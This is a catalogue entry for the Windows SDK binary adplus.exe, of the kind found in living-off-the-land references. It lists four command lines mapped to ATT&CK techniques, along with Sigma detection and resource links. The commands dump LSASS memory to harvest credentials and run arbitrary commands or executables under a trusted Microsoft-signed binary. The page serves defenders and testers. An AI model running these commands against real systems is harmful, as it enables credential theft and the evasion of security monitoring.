adplus.exe

Commands

1. DumpSYSTEM T1003.001

   Create memory dump and parse it offline

   adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet

   Creates a memory dump of the lsass process

   os: All Windows

2. ExecuteUser T1127

   Run commands under a trusted Microsoft signed binary

   adplus.exe -c {PATH:.xml}

   Execute arbitrary commands using adplus config file (see Resources section for a sample file).

   os: All Windows

   Execute: CMD

3. DumpSYSTEM T1003.001

   Run commands under a trusted Microsoft signed binary

   adplus.exe -c {PATH:.xml}

   Dump process memory using adplus config file (see Resources section for a sample file).

   os: All Windows

4. ExecuteUser T1127

   Run commands under a trusted Microsoft signed binary

   adplus.exe -crash -o "{PATH_ABSOLUTE:folder}" -sc {PATH:.exe}

   Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via ‘-o’ is required.

   os: All windows

   Execute: CMDExecute: EXE

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml
• IOCAs a Windows SDK binary, execution on a system may be suspicious

Code samples

• https://gist.github.com/nasbench/e34ca2cd90e3a845a558a102a4f607da

Resources

• https://mrd0x.com/adplus-debugging-tool-lsass-dump/
• https://twitter.com/nas_bench/status/1534916659676422152
• https://twitter.com/nas_bench/status/1534915321856917506